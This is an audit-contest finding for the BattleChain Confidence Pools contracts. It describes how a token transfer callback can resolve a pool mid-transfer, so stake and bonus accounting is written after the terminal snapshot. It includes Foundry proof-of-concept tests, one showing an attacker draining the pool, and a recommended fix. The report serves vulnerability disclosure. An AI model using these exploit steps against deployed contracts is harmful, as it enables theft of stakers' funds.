BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Impact: medium
Likelihood: low

Token callbacks can resolve the pool before stake or bonus accounting is written

Author Revealed upon completion

Token callbacks can resolve the pool before stake or bonus accounting is written

Description

stake() and contributeBonus() check that the pool is unresolved before making the external token call, but they do not re-check the outcome after safeTransferFrom returns. A callback-capable token can resolve the pool during the transfer. The function then resumes and writes stake or bonus accounting after the terminal snapshot has already been taken.

This breaks the link between the terminal snapshot and the accounts/funds that can later claim against it.

Vulnerability Details

contributeBonus() can exclude a pre-resolution bonus from the terminal snapshot:

if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
// outcome is not checked again here
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
totalBonus += received;

If the token callback resolves the pool before totalBonus += received, the terminal snapshot does not include the contribution. The contribution is still recorded in totalBonus after resolution and can later be swept as excess instead of paid to stakers.

stake() has the same timing issue:

if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
// outcome is not checked again here
eligibleStake[msg.sender] += received;
totalEligibleStake += received;

If the callback resolves the pool during the transfer, the snapshot includes only incumbent stake. The attacker's stake is then written after the snapshot and can claim against a denominator that excluded it.

Impact

A victim bonus contribution made before resolution can be excluded from snapshotTotalBonus and swept to recoveryAddress instead of distributed.

An attacker can create post-snapshot stake and use it to drain incumbent staker principal and bonus. In the strongest case, the attacker claims against a stale denominator and empties the pool, leaving honest claims to revert.

The stale snapshot can also push claimedBonus above snapshotTotalBonus. Later sweepUnclaimedBonus() can then underflow at snapshotTotalBonus - claimedBonus, trapping residual funds.

If a stale bonus is swept before a moderator reflags to good-faith CORRUPTED, the corrected bounty can be underpaid because the reflagged bounty snapshot excludes the swept in-flight bonus.

Proof of Concept

In-flight bonus contribution excluded from the terminal snapshot:

function testInFlightBonus() external {
_stake(poolA, staker, 100e18);
​
token.armTransferFromHook(
address(poolA),
victim,
address(poolA),
address(callbackModerator),
abi.encodeCall(VariantCallbackModerator.flagSurvived, (attackRegistry, agreementA, poolA))
);
​
poolA.contributeBonus(10e18);
​
assertEq(poolA.snapshotTotalBonus(), 0);
assertEq(poolA.totalBonus(), 10e18);
​
poolA.sweepUnclaimedBonus();
}

In-flight stake finalized outside the snapshot:

function testInFlightStake() external {
_stake(pool, alice, 100e18);
_contributeBonus(pool, donor, 100e18);
​
attackRegistry.setAgreementState(agreement, IAttackRegistry.ContractState.UNDER_ATTACK);
token.armTransferFromHook(
address(pool),
attacker,
address(pool),
address(callbackModerator),
abi.encodeCall(InFlightStakeCallbackModerator.flagSurvived, (attackRegistry, agreement, pool))
);
​
pool.stake(200e18);
​
assertEq(pool.snapshotTotalStaked(), 100e18);
assertEq(pool.totalEligibleStake(), 300e18);
​
pool.claimSurvived();
assertEq(token.balanceOf(address(pool)), 0);
}

Stale snapshot overclaim can brick the later sweep:

function testOverclaimSweep() external {
pool.stake(150e18); // finalized during callback as above
pool.claimSurvived();
​
assertEq(pool.snapshotTotalBonus(), 100e18);
assertEq(pool.claimedBonus(), 150e18);
assertEq(token.balanceOf(address(pool)), 50e18);
​
vm.expectRevert();
pool.sweepUnclaimedBonus();
}

Good-faith reflag underpays the corrected bounty:

function testReflagUnderpays() external {
_stake(pool, alice, 100e18);
​
token.armTransferFromHook(address(pool), victim, address(pool), address(callbackModerator), flagSurvivedCall);
pool.contributeBonus(10e18);
​
pool.sweepUnclaimedBonus();
assertFalse(pool.claimsStarted());
​
callbackModerator.flagGoodFaithCorrupted(attackRegistry, agreement, pool, attacker);
assertEq(pool.bountyEntitlement(), 100e18);
}

Recommended Mitigation

Re-check the terminal state after every external token transfer and before writing post-transfer accounting.

stakeToken.safeTransferFrom(msg.sender, address(this), amount);
+if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
+_assertDepositsAllowed(_observePoolState());
uint256 balanceAfter = stakeToken.balanceOf(address(this));

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!